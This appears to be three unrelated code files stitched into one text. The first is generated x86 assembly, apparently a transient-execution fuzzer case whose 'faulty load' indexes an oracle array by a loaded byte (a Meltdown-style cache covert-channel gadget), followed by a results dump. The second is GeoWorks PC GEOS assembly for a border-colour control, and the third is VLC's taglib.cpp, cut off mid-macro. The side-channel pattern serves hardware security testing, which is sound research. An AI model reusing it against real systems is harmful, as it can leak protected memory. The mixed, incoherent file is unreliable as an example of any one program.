sub $9336, %r9
lea addresses_D_ht+0x95e8, %r8
xor %rsi, %rsi
mov $0x6162636465666768, %rax
movq %rax, (%r8)
add $19225, %r9
lea addresses_D_ht+0x1d5dc, %rsi
nop
nop
xor %rax, %rax
mov (%rsi), %rcx
nop
nop
nop
cmp %r9, %r9
lea addresses_normal_ht+0x8e38, %rax
clflush (%rax)
nop
nop
nop
nop
nop
xor $42105, %rdi
vmovups (%rax), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $0, %xmm1, %r11
nop
sub %r9, %r9
lea addresses_D_ht+0xcee8, %rdi
clflush (%rdi)
nop
nop
nop
nop
cmp $26293, %rax
movl $0x61626364, (%rdi)
nop
nop
add $45181, %r11
lea addresses_WT_ht+0xb820, %rcx
nop
cmp %r8, %r8
mov $0x6162636465666768, %r11
movq %r11, %xmm4
vmovups %ymm4, (%rcx)
nop
nop
nop
nop
sub $704, %r11
lea addresses_UC_ht+0x3e78, %rcx
nop
nop
xor %rax, %rax
movb $0x61, (%rcx)
nop
nop
nop
nop
add $55711, %r8
lea addresses_UC_ht+0x123c0, %rsi
lea addresses_D_ht+0x9ab8, %rdi
nop
nop
nop
nop
nop
xor %rax, %rax
mov $0, %rcx
rep movsl
dec %rax
lea addresses_WT_ht+0x19bb8, %rdi
nop
nop
nop
cmp $30664, %r8
mov (%rdi), %si
nop
nop
nop
xor %rax, %rax
lea addresses_WC_ht+0x1d758, %r9
nop
nop
nop
nop
nop
cmp %r11, %r11
mov $0x6162636465666768, %rsi
movq %rsi, %xmm1
movups %xmm1, (%r9)
nop
nop
mfence
lea addresses_WT_ht+0x8db8, %r8
nop
xor $25921, %rdi
mov $0x6162636465666768, %r11
movq %r11, %xmm7
vmovups %ymm7, (%r8)
nop
nop
xor $42742, %rcx
lea addresses_WT_ht+0x16408, %rsi
lea addresses_A_ht+0x15b8, %rdi
nop
inc %rbx
mov $90, %rcx
rep movsl
nop
add %r9, %r9
lea addresses_A_ht+0x18728, %rbx
nop
nop
nop
and %rax, %rax
mov (%rbx), %r11d
nop
nop
nop
nop
inc %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rbp
push %rcx
push %rdi
push %rdx
// Store
mov $0x9ebd500000003b8, %rdx
nop
nop
nop
nop
nop
sub %rcx, %rcx
mov $0x5152535455565758, %r14
movq %r14, %xmm1
vmovups %ymm1, (%rdx)
nop
nop
nop
nop
and %rdx, %rdx
// Faulty Load
lea addresses_D+0x16db8, %rdi
nop
nop
nop
nop
nop
cmp %r10, %r10
mov (%rdi), %ecx
lea oracles, %rdi
and $0xff, %rcx
shlq $12, %rcx
mov (%rdi,%rcx,1), %rcx
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_D', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 2}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': True, 'AVXalign': True, 'size': 1, 'congruent': 6}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_D_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 5}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 11}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 11, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 3}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
|
COMMENT @-----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Text Library
FILE: uiBorderColorControl.asm
ROUTINES:
Name Description
---- -----------
GLB BorderColorControlClass Style menu object
REVISION HISTORY:
Name Date Description
---- ---- -----------
Doug 7/91 Initial version
DESCRIPTION:
This file contains routines to implement BorderColorControlClass
$Id: uiBorderColor.asm,v 1.1 97/04/07 11:17:37 newdeal Exp $
-------------------------------------------------------------------------------@
;---------------------------------------------------
TextClassStructures segment resource
BorderColorControlClass ;declare the class record
TextClassStructures ends
;---------------------------------------------------
if not NO_CONTROLLERS
TextControlCode segment resource
COMMENT @----------------------------------------------------------------------
MESSAGE: BorderColorControlGetInfo --
MSG_GEN_CONTROL_GET_INFO for BorderColorControlClass
DESCRIPTION: Return group
PASS:
*ds:si - instance data
es - segment of BorderColorControlClass
ax - The message
RETURN:
cx:dx - list of children
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 10/31/91 Initial version
------------------------------------------------------------------------------@
BorderColorControlGetInfo method dynamic BorderColorControlClass,
MSG_GEN_CONTROL_GET_INFO
; first call our superclass to get the color selector's stuff
pushdw cxdx
mov di, offset BorderColorControlClass
call ObjCallSuperNoLock
; now fill in a few things
popdw esdi
mov si, offset BCC_newFields
mov cx, length BCC_newFields
call CopyFieldsToBuildInfo
ret
BorderColorControlGetInfo endm
BCC_newFields GC_NewField \
<offset GCBI_flags, size GCBI_flags,
<GCD_dword mask GCBF_SUSPEND_ON_APPLY>>,
<offset GCBI_initFileKey, size GCBI_initFileKey,
<GCD_dword BCC_IniFileKey>>,
<offset GCBI_gcnList, size GCBI_gcnList,
<GCD_dword BCC_gcnList>>,
<offset GCBI_gcnCount, size GCBI_gcnCount,
<GCD_dword length BCC_gcnList>>,
<offset GCBI_notificationList, size GCBI_notificationList,
<GCD_dword BCC_notifyList>>,
<offset GCBI_notificationCount, size GCBI_notificationCount,
<GCD_dword size BCC_notifyList>>,
<offset GCBI_controllerName, size GCBI_controllerName,
<GCD_optr BCCName>>,
<offset GCBI_features, size GCBI_features,
<GCD_dword BCC_DEFAULT_FEATURES>>,
<offset GCBI_toolFeatures, size GCBI_toolFeatures,
<GCD_dword BCC_DEFAULT_TOOLBOX_FEATURES>>,
<offset GCBI_helpContext, size GCBI_helpContext,
<GCD_dword BCC_helpContext>>
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP segment resource
endif
BCC_helpContext char "dbBdrClr", 0
BCC_IniFileKey char "charBGColor", 0
BCC_gcnList GCNListType \
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_TEXT_PARA_ATTR_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GAGCNLT_APP_TARGET_NOTIFY_BORDER_COLOR_CHANGE>
BCC_notifyList NotificationType \
<MANUFACTURER_ID_GEOWORKS, GWNT_TEXT_PARA_ATTR_CHANGE>,
<MANUFACTURER_ID_GEOWORKS, GWNT_TEXT_BORDER_COLOR_CHANGE>
if FULL_EXECUTE_IN_PLACE
ControlInfoXIP ends
endif
COMMENT @----------------------------------------------------------------------
MESSAGE: BorderColorControlOutputAction -- MSG_GEN_OUTPUT_ACTION
for BorderColorControlClass
DESCRIPTION: Intercept ColorSelector output that we want
PASS:
*ds:si - instance data
es - segment of BorderColorControlClass
ax - The message
cx:dx - destination (or travel option)
bp - event
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/24/92 Initial version
------------------------------------------------------------------------------@
BorderColorControlOutputAction method dynamic BorderColorControlClass,
MSG_GEN_OUTPUT_ACTION
mov di, offset BorderColorControlClass
GOTO ColorInterceptAction
BorderColorControlOutputAction endm
COMMENT @----------------------------------------------------------------------
MESSAGE: BorderColorControlSetColor -- MSG_META_COLORED_OBJECT_SET_COLOR
for BorderColorControlClass
DESCRIPTION: Handle a color change
PASS:
*ds:si - instance data
es - segment of BorderColorControlClass
ax - The message
dxcx - color
RETURN:
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 3/24/92 Initial version
------------------------------------------------------------------------------@
BorderColorControlSetColor method dynamic BorderColorControlClass,
MSG_META_COLORED_OBJECT_SET_COLOR
mov ax, MSG_VIS_TEXT_SET_BORDER_COLOR
call SendMeta_AX_DXCX_Common
ret
BorderColorControlSetColor endm
;---
BorderColorControlSetDrawMask method dynamic BorderColorControlClass,
MSG_META_COLORED_OBJECT_SET_DRAW_MASK
mov ax, MSG_VIS_TEXT_SET_BORDER_GRAY_SCREEN
call SendMeta_AX_CX_Common
ret
BorderColorControlSetDrawMask endm
;---
BorderColorControlSetPattern method dynamic BorderColorControlClass,
MSG_META_COLORED_OBJECT_SET_PATTERN
mov ax, MSG_VIS_TEXT_SET_BORDER_PATTERN
call SendMeta_AX_CX_Common
ret
BorderColorControlSetPattern endm
COMMENT @----------------------------------------------------------------------
MESSAGE: BorderColorControlUpdateUI --
MSG_GEN_CONTROL_UPDATE_UI for BorderColorControlClass
DESCRIPTION: Handle notification of attributes change
PASS:
*ds:si - instance data
es - segment of BorderColorControlClass
ax - The message
ss:bp - GenControlUpdateUIParams
GCUUIP_manufacturer ManufacturerID
GCUUIP_changeType word
GCUUIP_dataBlock hptr
GCUUIP_toolInteraction optr
GCUUIP_features word
GCUUIP_toolboxFeatures word
GCUUIP_childBlock hptr
RETURN: none
DESTROYED:
bx, si, di, ds, es (message handler)
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 11/12/91 Initial version
------------------------------------------------------------------------------@
BorderColorControlUpdateUI method dynamic BorderColorControlClass,
MSG_GEN_CONTROL_UPDATE_UI
push ds
mov dx, GWNT_TEXT_BORDER_COLOR_CHANGE
call GetColorNotifyCommon
je gotColor ;branch if got color
;
; Get text color from VisTextNotifyParaAttrChange
;
mov al, ds:VTNPAC_paraAttr.VTMPA_paraAttr.VTPA_borderGrayScreen
movdw dxcx, ds:VTNPAC_paraAttr.VTMPA_paraAttr.VTPA_borderColor
mov bx, {word} ds:VTNPAC_paraAttr.VTMPA_paraAttr.VTPA_borderPattern
mov di, ds:VTNPAC_paraAttrDiffs.VTPAD_borderDiffs
gotColor:
call UnlockNotifBlock
pop ds
; convert border flags to char FG flags for common routine
push ax
mov_tr ax, di
clr di
test ax, mask VTPABF_MULTIPLE_BORDER_COLORS
jz 10$
mov di, mask VTCAF_MULTIPLE_COLORS
10$:
test ax, mask VTPABF_MULTIPLE_BORDER_GRAY_SCREENS
jz 20$
ornf di, mask VTCAF_MULTIPLE_GRAY_SCREENS
20$:
test ax, mask VTPABF_MULTIPLE_BORDER_PATTERNS
jz 30$
ornf di, mask VTCAF_MULTIPLE_PATTERNS
30$:
pop ax
; dxcx - color
; al - SystemDrawMask
; bx - GraphicPattern
; di - VisTextParaAttrFlags
; VTCAF_MULTIPLE_COLORS
; VTCAF_MULTIPLE_GRAY_SCREENS
; VTCAF_MULTIPLE_PATTERNS
call UpdateColorCommon
ret
BorderColorControlUpdateUI endm
TextControlCode ends
endif ; not NO_CONTROLLERS
|
/*****************************************************************************
* taglib.cpp: Taglib tag parser/writer
*****************************************************************************
* Copyright (C) 2003-2016 VLC authors and VideoLAN
* $Id: 123d09c94fdce884486d2a5aaeb31ea62da2b1d3 $
*
* Authors: Clément Stenac <zorglub@videolan.org>
* Rafaël Carré <funman@videolanorg>
* Rémi Duraffort <ivoire@videolan.org>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation; either version 2.1 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston MA 02110-1301, USA.
*****************************************************************************/
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include <vlc_common.h>
#include <vlc_plugin.h>
#include <vlc_demux.h> /* demux_meta_t */
#include <vlc_strings.h> /* vlc_b64_decode_binary */
#include <vlc_input.h> /* for attachment_new */
#include <vlc_url.h> /* vlc_uri2path */
#include <vlc_mime.h> /* mime type */
#include <vlc_fs.h>
#include <sys/stat.h>
#ifdef _WIN32
# include <vlc_charset.h> /* ToWide */
# include <io.h>
#else
# include <unistd.h>
#endif
// Taglib headers
#ifdef _WIN32
# define TAGLIB_STATIC
#endif
#include <taglib.h>
#define VERSION_INT(a, b, c) ((a)<<16 | (b)<<8 | (c))
#define TAGLIB_VERSION VERSION_INT(TAGLIB_MAJOR_VERSION, \
TAGLIB_MINOR_VERSION, \
TAGLIB_PATCH_VERSION)
#define TAGLIB_VERSION_1_11 VERSION_INT(1,11,0)
#include <fileref.h>
#include <tag.h>
#include <tbytevector.h>
/* Support for stream-based metadata */
#if TAGLIB_VERSION >= TAGLIB_VERSION_1_11
# include <vlc_access.h>
# include <tiostream.h>
#endif
#include <apefile.h>
#include <asffile.h>
#include <apetag.h>
#include <flacfile.h>
#include <mpcfile.h>
#include <mpegfile.h>
#include <mp4file.h>
#include <oggfile.h>
#include <oggflacfile.h>
#include <opusfile.h>
#include "../demux/xiph_metadata.h"
#include <aifffile.h>
#include <wavfile.h>
#include <speexfile.h>
#include <trueaudiofile.h>
#include <vorbisfile.h>
#include <wavpackfile.h>
#include <attachedpictureframe.h>
#include <textidentificationframe.h>
#include <uniquefileidentifierframe.h>
using namespace TagLib;
#include <algorithm>
namespace VLCTagLib
{
template <class T>
class ExtResolver : public FileRef::FileTypeResolver
{
public:
ExtResolver(const std::string &);
~ExtResolver() {}
virtual File *createFile(FileName, bool, AudioProperties::ReadStyle) const;
protected:
std::string ext;
};
}
template <class T>
VLCTagLib::ExtResolver<T>::ExtResolver(const std::string & ext) : FileTypeResolver()
{
this->ext = ext;
std::transform(this->ext.begin(), this->ext.end(), this->ext.begin(), ::toupper);
}
template <class T>
File *VLCTagLib::ExtResolver<T>::createFile(FileName fileName, bool, AudioProperties::ReadStyle) const
{
std::string filename = std::string(fileName);
std::size_t namesize = filename.size();
if (namesize > ext.length())
{
std::string fext = filename.substr(namesize - ext.length(), ext.length());
std::transform(fext.begin(), fext.end(), fext.begin(), ::toupper);
if(fext == ext)
return new T(fileName, false, AudioProperties::Fast);
}
return 0;
}
#if TAGLIB_VERSION >= TAGLIB_VERSION_1_11
static VLCTagLib::ExtResolver<MPEG::File> aacresolver(".aac");
#endif
static VLCTagLib::ExtResolver<MP4::File> m4vresolver(".m4v");
static bool b_extensions_registered = false;
// taglib is not thread safe
static vlc_mutex_t taglib_lock = VLC_STATIC_MUTEX;
// Local functions
static int ReadMeta ( vlc_object_t * );
static int WriteMeta ( vlc_object_t * );
vlc_module_begin ()
set_capability( "meta reader", 1000 )
set_callbacks( ReadMeta, NULL )
add_submodule ()
set_capability( "meta writer", 50 )
set_callbacks( WriteMeta, NULL )
vlc_module_end ()
#if TAGLIB_VERSION >= TAGLIB_VERSION_1_11
class VlcIostream : public IOStream
{
public:
VlcIostream(stream_t* p_stream)
: m_stream( p_stream )
, m_previousPos( 0 )
{
}
~VlcIostream()
{
vlc_stream_Delete( m_stream );
}
FileName name() const
{
return m_stream->psz_location;
}
ByteVector readBlock(ulong length)
{
ByteVector res(length, 0);
ssize_t i_read = vlc_stream_Read( m_stream, res.data(), length);
if (i_read < 0)
return ByteVector::null;
else if ((size_t)i_read != length)
res.resize(i_read);
return res;
}
void writeBlock(const ByteVector&)
{
// Let's stay Read-Only for now
}
void insert(const ByteVector&, ulong, ulong)
{
}
void removeBlock(ulong, ulong)
{
}
bool readOnly() const
{
return true;
}
bool isOpen() const
{
return true;
}
void seek(long offset, Position p)
{
uint64_t pos = 0;
switch (p)
{
case Current:
pos = m_previousPos;
break;
case End:
pos = length();
break;
default:
break;
}
if (vlc_stream_Seek( m_stream, pos + offset ) == 0)
m_previousPos = pos + offset;
}
void clear()
{
return;
}
long tell() const
{
return m_previousPos;
}
long length()
{
uint64_t i_size;
if (vlc_stream_GetSize( m_stream, &i_size ) != VLC_SUCCESS)
return -1;
return i_size;
}
void truncate(long)
{
}
private:
stream_t* m_stream;
int64_t m_previousPos;
};
#endif /* TAGLIB_VERSION_1_11 */
static int ExtractCoupleNumberValues( vlc_meta_t* p_meta, const char *psz_value,
vlc_meta_type_t first, vlc_meta_type_t second)
{
unsigned int i_trknum, i_trktot;
int i_ret = sscanf( psz_value, "%u/%u", &i_trknum, &i_trktot );
char psz_trck[11];
if( i_ret >= 1 )
{
snprintf( psz_trck, sizeof( psz_trck ), "%u", i_trknum );
vlc_meta_Set( p_meta, first, psz_trck );
}
if( i_ret == 2)
{
snprintf( psz_trck, sizeof( psz_trck ), "%u", i_trktot );
vlc_meta_Set( p_meta, second, psz_trck );
}
return i_ret;
}
/**
* Read meta information from APE tags
* @param tag: the APE tag
* @param p_demux_meta: the demuxer meta
* @param p_meta: the meta
*/
static void ReadMetaFromAPE( APE::Tag* tag, demux_meta_t* p_demux_meta, vlc_meta_t* p_meta )
{
APE::ItemListMap fields ( tag->itemListMap() );
APE::ItemListMap::Iterator iter;
iter = fields.find("COVER ART (FRONT)");
if( iter != fields.end()
&& !iter->second.isEmpty()
&& iter->second.type() == APE::Item::Binary)
{
input_attachment_t *p_attachment;
const ByteVector picture = iter->second.binaryData();
const char *p_data = picture.data();
unsigned i_data = picture.size();
/* Null terminated filename followed by the image data */
size_t desc_len = strnlen(p_data, i_data);
if( desc_len < i_data && IsUTF8( p_data ) )
{
const char *psz_name = p_data;
const char *psz_mime = vlc_mime_Ext2Mime( psz_name );
p_data += desc_len + 1; /* '\0' */
i_data -= desc_len + 1;
msg_Dbg( p_demux_meta, "Found embedded art: %s (%s) is %u bytes",
psz_name, psz_mime, i_data );
p_attachment = vlc_input_attachment_New( psz_name, psz_mime,
psz_name, p_data, i_data );
if( p_attachment )
{
TAB_APPEND_CAST( (input_attachment_t**),
p_demux_meta->i_attachments, p_demux_meta->attachments,
p_attachment );
char *psz_url;
if( asprintf( &psz_url, "attachment://%s", p_attachment->psz_name ) != -1 )
{
vlc_meta_SetArtURL( p_meta, psz_url );
free( psz_url );
}
}
}
fields.erase(iter);
}
#define SET( keyName, metaName ) \
iter = fields.find(keyName); \
if( iter != fields.end() && !iter->second.isEmpty() ) { \
vlc_meta_Set##metaName( p_meta, iter->second.toString().toCString( true ) ); \
fields.erase(iter); \
}
#define SET_EXTRA( keyName, metaName ) \
iter = fields.find( keyName ); \
if( iter != fields.end() && !iter->second.isEmpty() ) { \
vlc_meta_AddExtra( p_meta, metaName, iter->second.toString().toCString( true ) ); \
fields.erase(iter); \
}
SET( "ALBUM", Album );
SET( "ARTIST", Artist );
SET( "COMMENT", Description );
SET( "GENRE", Genre );
SET( "TITLE", Title );
SET( "COPYRIGHT", Copyright );
SET( "LANGUAGE", Language );
SET( "PUBLISHER", Publisher );
SET( "MUSICBRAINZ_TRACKID", TrackID );
SET_EXTRA( "MUSICBRAINZ_ALBUMID", VLC_META_EXTRA_MB_ALBUMID );
#undef SET
#undef SET_EXTRA
/* */
iter = fields.find( "TRACK" );
if( iter != fields.end() && !iter->second.isEmpty() )
{
ExtractCoupleNumberValues( p_meta, iter->second.toString().toCString( true ),
vlc_meta_TrackNumber, vlc_meta_TrackTotal );
fields.erase( iter );
}
/* Remainings */
for( iter = fields.begin(); iter != fields.end(); ++iter )
{
if( iter->second.isEmpty() )
continue;
if( iter->second.type() != APE::Item::Text )
continue;
vlc_meta_AddExtra( p_meta,
iter->first.toCString( true ),
iter->second.toString().toCString( true ) );
}
}
/**
* Read meta information from ASF tags
* @param tag: the ASF tag
* @param p_demux_meta: the demuxer meta
* @param p_meta: the meta
*/
static void ReadMetaFromASF( ASF::Tag* tag, demux_meta_t* p_demux_meta, vlc_meta_t* p_meta )
{
ASF::AttributeList list;
#define SET( keyName, metaName ) \
if( tag->attributeListMap().contains(keyName) ) \
{ \
list = tag->attributeListMap()[keyName]; \
vlc_meta_Set##metaName( p_meta, list.front().toString().toCString( true ) ); \
}
#define SET_EXTRA( keyName, metaName ) \
if( tag->attributeListMap().contains(keyName) ) \
{ \
list = tag->attributeListMap()[keyName]; \
vlc_meta_AddExtra( p_meta, metaName, list.front().toString().toCString( true ) ); \
}
SET("MusicBrainz/Track Id", TrackID );
SET_EXTRA("MusicBrainz/Album Id", VLC_META_EXTRA_MB_ALBUMID );
#undef SET
#undef SET_EXTRA
// List the pictures
list = tag->attributeListMap()["WM/Picture"];
ASF::AttributeList::Iterator iter;
for( iter = list.begin(); iter != list.end(); iter++ )
{
const ASF::Picture asfPicture = (*iter).toPicture();
const ByteVector picture = asfPicture.picture();
const char *psz_mime = asfPicture.mimeType().toCString();
const char *p_data = picture.data();
const unsigned i_data = picture.size();
char *psz_name;
input_attachment_t *p_attachment;
if( asfPicture.description().size() > 0 )
psz_name = strdup( asfPicture.description().toCString( true ) );
else
{
if( asprintf( &psz_name, "%i", asfPicture.type() ) == -1 )
psz_name = NULL;
}
if( unlikely(psz_name == NULL) )
continue;
msg_Dbg( p_demux_meta, "Found embedded art: %s (%s) is %u bytes",
psz_name, psz_mime, i_data );
p_attachment = vlc_input_attachment_New( psz_name, psz_mime,
psz_name, p_data, i_data );
if( p_attachment )
TAB_APPEND_CAST( (input_attachment_t**),
p_demux_meta->i_attachments, p_demux_meta->attachments,
p_attachment );
char *psz_url;
if( asprintf( &psz_url, "attachment://%s", psz_name ) != -1 )
{
vlc_meta_SetArtURL( p_meta, psz_url );
free( psz_url );
}
free( psz_name );
}
}
/**
* Read meta information from id3v2 tags
* @param tag: the id3v2 tag
* @param p_demux_meta: the demuxer meta
* @param p_meta: the meta
*/
static void ReadMetaFromId3v2( ID3v2::Tag* tag, demux_meta_t* p_demux_meta, vlc_meta_t* p_meta )
{
// Get the unique file identifier
ID3v2::FrameList list = tag->frameListMap()["UFID"];
ID3v2::FrameList::Iterator iter;
for( iter = list.begin(); iter != list.end(); iter++ )
{
ID3v2::UniqueFileIdentifierFrame* p_ufid =
dynamic_cast<ID3v2::UniqueFileIdentifierFrame*>(*iter);
if( !p_ufid )
continue;
const char *owner = p_ufid->owner().toCString();
if (!strcmp( owner, "http://musicbrainz.org" ))
{
/* ID3v2 UFID contains up to 64 bytes binary data
* but in our case it will be a '\0'
* terminated string */
char psz_ufid[64];
int max_size = __MIN( p_ufid->identifier().size(), 63);
strncpy( psz_ufid, p_ufid->identifier().data(), max_size );
psz_ufid[max_size] = '\0';
vlc_meta_SetTrackID( p_meta, psz_ufid );
}
}
// Get the use text
list = tag->frameListMap()["TXXX"];
for( iter = list.begin(); iter != list.end(); iter++ )
{
ID3v2::UserTextIdentificationFrame* p_txxx =
dynamic_cast<ID3v2::UserTextIdentificationFrame*>(*iter);
if( !p_txxx )
continue;
if( !strcmp( p_txxx->description().toCString( true ), "TRACKTOTAL" ) )
{
vlc_meta_Set( p_meta, vlc_meta_TrackTotal, p_txxx->fieldList().back().toCString( true ) );
continue;
}
if( !strcmp( p_txxx->description().toCString( true ), "MusicBrainz Album Id" ) )
{
vlc_meta_AddExtra( p_meta, VLC_META_EXTRA_MB_ALBUMID, p_txxx->fieldList().back().toCString( true ) );
continue;
}
vlc_meta_AddExtra( p_meta, p_txxx->description().toCString( true ),
p_txxx->fieldList().back().toCString( true ) );
}
// Get some more information
#define SET( tagName, metaName ) \
list = tag->frameListMap()[tagName]; \
if( !list.isEmpty() ) \
vlc_meta_Set##metaName( p_meta, \
(*list.begin())->toString().toCString( true ) );
#define SET_EXTRA( tagName, metaName )\
list = tag->frameListMap()[tagName];\
if( !list.isEmpty() )\
